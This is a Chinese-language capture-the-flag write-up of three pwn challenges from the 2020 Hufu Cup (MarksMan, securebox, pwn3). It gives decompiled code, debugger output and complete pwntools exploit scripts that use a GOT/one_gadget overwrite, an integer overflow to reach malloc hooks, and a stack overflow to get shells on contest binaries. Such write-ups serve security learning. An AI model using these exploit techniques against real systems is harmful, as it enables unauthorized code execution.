2020虎符杯Pwn WP

First Post:

Last Update:

Word Count:
2.6k

Read Time:
15 min

虎符杯-2020-pwn

MarksMan

World of Attack & Defense

难度

2 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

简单描述

输入一个地址,然后再输入3字节的内容,这三个字节的就写入该地址,开启三个字节的检查机制,防止one_gadget,但是某些one_gadget可以绕过.

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sub_9BA();
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts); //泄漏libc
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j]; //覆盖3个字节
}
if ( !dlopen(0LL, 1) )
exit(1);
puts("bye~");
return 0LL;

知识点

one_gadgt, libdl.so.2链接

思路

同找到libc某个函数的plt,然好找到libdl.so.2中的链接地址, 将该地址修改为one_gadget获得shell

利用

找目标地址

1
2
3
4
5
6
► 0x7f340b44f730 <_dlerror_run+96>     call   _dl_catch_error@plt <0x7f340b44ed90>
rdi: 0x7f340b6510f0 (last_result+16) ◂— 0x0
rsi: 0x7f340b6510f8 (last_result+24) ◂— 0x0
rdx: 0x7f340b6510e8 (last_result+8) ◂— 0x0
rcx: 0x7f340b44ef40 (dlopen_doit) ◂— push rbx

反编译

1
2
3
4
5
6
pwndbg> disass 0x7f340b44ed90
Dump of assembler code for function _dl_catch_error@plt:
0x00007f340b44ed90 <+0>: jmp QWORD PTR [rip+0x2022a2] # 0x7f340b651038
0x00007f340b44ed96 <+6>: push 0x4
0x00007f340b44ed9b <+11>: jmp 0x7f340b44ed40
End of assembler dump.

进入该地址,该地址里面是libdl.so.2链接器中储存libc.so.6中函数的地址

1
2
3
4
5
6
7
8
pwndbg> x /40gx 0x7f340b651038
0x7f340b651038: 0x00007f340b73769f 0x00007f340b44eda6
0x7f340b651048: 0x00007f340b44edb6 0x00007f340b44edc6
0x7f340b651058: 0x00007f340b44edd6 0x00007f340b44ede6
0x7f340b651068: 0x00007f340b44edf6 0x00007f340b44ee06
0x7f340b651078: 0x00007f340b44ee16 0x00007f340b651080


在继续进入该地址, 可以发现,进入到了libc.so.6地址中

1
2
3
4
5
6
7
pwndbg> x /40gx 0x00007f340b73769f
0x7f340b73769f <execvpe+527>: 0x4c000ce7f43d8d48 0xf77fe8f6894ce289
0x7f340b7376af <execvpe+543>: 0xfe35e9ec894cffff 0x0ce7da058d48ffff
0x7f340b7376bf <execvpe+559>: 0xe58949b0758d4c00 0xb0458948b87d894c
0x7f340b7376cf <execvpe+575>: 0x0000001046c74990 0x00441f0f66c5eb00
0x7f340b7376df <execvpe+591>: 0xee894ca87d8b4800 0x4dd231fff3bb44e8

所以我们只需修改libdl.so.2链接器中的储存的地址就行,类似于修改got表,但怎么获取该地址, 由于libdl.so.2紧挨着,直接可以计算该地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55d6904bc000 0x55d6904be000 r-xp 2000 0 /home/logan/share/pwn1/chall
0x55d6906bd000 0x55d6906be000 r--p 1000 1000 /home/logan/share/pwn1/chall
0x55d6906be000 0x55d6906bf000 rw-p 1000 2000 /home/logan/share/pwn1/chall
0x7f340b44e000 0x7f340b451000 r-xp 3000 0 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f340b451000 0x7f340b650000 ---p 1ff000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f340b650000 0x7f340b651000 r--p 1000 2000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f340b651000 0x7f340b652000 rw-p 1000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f340b652000 0x7f340b839000 r-xp 1e7000 0 /home/logan/share/pwn1/libc.so.6
0x7f340b839000 0x7f340ba39000 ---p 200000 1e7000 /home/logan/share/pwn1/libc.so.6
0x7f340ba39000 0x7f340ba3d000 r--p 4000 1e7000 /home/logan/share/pwn1/libc.so.6
0x7f340ba3d000 0x7f340ba3f000 rw-p 2000 1eb000 /home/logan/share/pwn1/libc.so.6

计算该地址

1
2
3
4
ru('near: ')
lib.address = int(r(14), 16) - lib.sym['puts']
li('libc_base: ' + hex(lib.address))
_dl_catch_error_got = lib.address + (0x7f15af376038 - 0x7f15af377000)

修改该地址为one_gadget

由于体中开启了金手指

1
2
3
4
5
6
7
signed __int64 __fastcall sub_BC2(_BYTE *a1)
{
if ( (*a1 != 0xC5u || a1[1] != 0xF2u) && (*a1 != 0x22 || a1[1] != 0xF3u) && *a1 != 0x8Cu && a1[1] != 0xA3u )
return 1LL;
puts("You always want a Gold Finger!");
return 0LL;
}

默认的one_gadget就不能使用了,就需要更多的one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
logan@LYXF:~/share/pwn1$ one_gadget libc.so.6 -l 12
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

采用0xe569f execve(“/bin/sh”, r14, r12)能打通.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
li('_dl_catch_error_got ' + hex(_dl_catch_error_got))
# modfy dl_catch_error_got
p = str(_dl_catch_error_got)
sl(p)

# set as onegadget
one_gadget = lib.address + 0xe569f
p = p64((one_gadget) & 0xFFFFFF)
li('one_gadget ' + hex(one_gadget))
li('p ' + p)

ru('biang!')
sl(p[0])
ru('biang!')
sl(p[1])
ru('biang!')
#db()
sl(p[2])

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'chall'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'
libFile = './libc.so.6'

remoteIp = "39.97.210.182"
remotePort = 10055

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------


#--------------------------Exploit--------------------------
def exploit():
ru('near: ')
lib.address = int(r(14), 16) - lib.sym['puts']
li('libc_base: ' + hex(lib.address))
_dl_catch_error_got = lib.address + (0x7f15af376038 - 0x7f15af377000)

li('_dl_catch_error_got ' + hex(_dl_catch_error_got))
# modfy dl_catch_error_got
p = str(_dl_catch_error_got)
sl(p)

# set as onegadget
one_gadget = lib.address + 0xe569f
p = p64((one_gadget) & 0xFFFFFF)
li('one_gadget ' + hex(one_gadget))
li('p ' + p)

ru('biang!')
sl(p[0])
ru('biang!')
sl(p[1])
ru('biang!')
#db()
sl(p[2])

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

'''
logan@LYXF:~/share/pwn1$ one_gadget libc.so.6 -l 12
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
'''

securebox

难度

4 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

简单描述

有5个功能,添加 ,删除,修改,打印,默认退出,添加成功有加密用的key,在修改功能中,对输入的数据进行加密,没有堆一般的常见漏洞

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
else
{
puts("Size: ");
size = InputNum();
// vul:unsigned long int as unsigned int
if ( size > 0x100 && (unsigned int)size <= 0xFFF )
{
plist[idx] = malloc(0x28uLL); // head -----------
*((_QWORD *)plist[idx] + 4) = size;
head_heap = plist[idx];
head_heap[3] = malloc(size); // content---->
memset(plist[idx], 0, 0x14uLL);
gen_key(plist[idx]);
puts("Key: ");
for ( j = 0; j <= 15; ++j )
printf("%02x ", *((unsigned __int8 *)plist[idx] + j));
printf("\nBox ID: %d\n", idx);
}

知识点

整数溢出

malloc分配失败的大小

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = './chall'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "39.97.210.182"
remotePort = 19806

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def enc(data, key):
result = ''
for i in range(len(data)):
result += p8( u8(data[i]) ^ u8(key[ i & 0xF]) )
return result

def ad(size):
sla('5.Exit', str(1))
sla(':', str(size))
ru('Key: \n')
key = p8(int(ru(' '), 16))
for i in range(15):
key += p8(int(ru(' '), 16))
return key

def rm(idx):
sla('5.Exit', str(2))
sla('Box ID:', str(idx))

def md(idx, offset, size, data, key):
sla('5.Exit', str(3))
sla(':', str(idx))
sla('Offset of msg:', str(offset))
sla(':', str(size))
sa(':', enc(data, key))

def dp(idx, offset, size):
sla('5.Exit', str(4))
sla(':', str(idx))
sla('Offset of msg:', str(offset))
sla('Len of msg:', str(size))

def q():
sla(':', str(5))

def dec(data, key):
result = ''
for i in range(len(data)):
result += p8(u8(data[i]) ^ ( u8(key) + (i & 0xF)))
return result


#--------------------------Exploit--------------------------
def exploit():

key_0 = ad(0x210)
key_1 = ad(0x108)

rm(0)
key_2 = ad(0x210)
md(0, 0, 0x8, 'A' * 0x8, key_2)
dp(0, 0, 16)
lib.address = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 0x3c4b20 - 88
li('libc base ' + hex(lib.address))
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = lib.address + gadget[1]

# add integer overflow
sla('5.Exit', str(1))
sla(':', '-' + str(0xFFFFFEF8 -0x100))
ru('Key: \n')
key_3 = p8(int(ru(' '), 16))
for i in range(15):
key_3 += p8(int(ru(' '), 16))
md(2, lib.sym['__malloc_hook'], 0x8, p64(lib.sym['realloc']), key_3) # 2
md(2, lib.sym['__realloc_hook'], 0x8, p64(one_gadget), key_3) # 2

sla('5.Exit', str(1))
sla(':', str(0x108))
#db()


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

pwn3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 sub_400990()
{
unsigned int v0; // w0
__int64 v1; // x0
__int64 v2; // x0
__int64 v3; // x0
__int64 v4; // x0
__int64 v6; // [xsp+10h] [xbp+10h]
__int64 v7; // [xsp+78h] [xbp+78h]
int v8; // [xsp+DCh] [xbp+DCh]
int v9; // [xsp+E0h] [xbp+E0h]
int v10; // [xsp+E4h] [xbp+E4h]
int v11; // [xsp+E8h] [xbp+E8h]
int v12; // [xsp+ECh] [xbp+ECh]
int v13; // [xsp+F0h] [xbp+F0h]
int v14; // [xsp+F4h] [xbp+F4h]
unsigned int v15; // [xsp+F8h] [xbp+F8h]
int v16; // [xsp+FCh] [xbp+FCh]

sub_400940();
v16 = 0;
do
{
v0 = time(0LL);
v15 = v0;
srand(v0);
v2 = (unsigned int)((signed int)rand(v1) % 100);
v14 = v2;
v3 = (unsigned int)((signed int)rand(v2) % 100);
v13 = v3;
v4 = (unsigned int)((signed int)rand(v3) % 100);
v12 = v4;
v11 = (signed int)rand(v4) % 100;
printf("there have 200 levels ~");
printf("Math: %d * %d + %d + %d = ???");
printf("input answer:");
read(0, &v6, 0x14uLL);
v10 = v14 * v13 + v12 + v11;
v9 = strtol((const char *)&v6, 0LL, 10);
if ( v10 != v9 )
{
puts("wrong ");
exit(0);
}
puts("good !");
++v16;
}
while ( v16 <= 199 );
v8 = 256;
read(0, &v7, 0x6EuLL);
if ( v8 == 0x12235612 )
{
puts("get it ~");
sub_400920();
}
return 0LL;
}

前面的运算就行, 然后通过溢出修改v8值即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: I0gan

from pwn import *
#from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = 'pwn'
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "39.97.210.182"
remotePort = 40285

LOCAL = 0
LIB = 0

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------


#--------------------------Exploit--------------------------
def exploit():
for i in range(200):
ru('Math:')
num_1 = int(ru('*'), 10)
num_2 = int(ru('+'), 10)
num_3 = int(ru('+'), 10)
num_4 = int(ru('='), 10)
li('nums: ' + str(num_1) + ' ' + str(num_2))
li('nums: ' + str(num_3) + ' ' + str(num_4))
result = num_1 * num_2 + num_3 + num_4
sl(str(result))
li('end!')
p = 'A' * (0xDC - 0x78)
p += p32(0x12235612)
s(p)


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()
打赏点小钱
支付宝 | Alipay
微信 | WeChat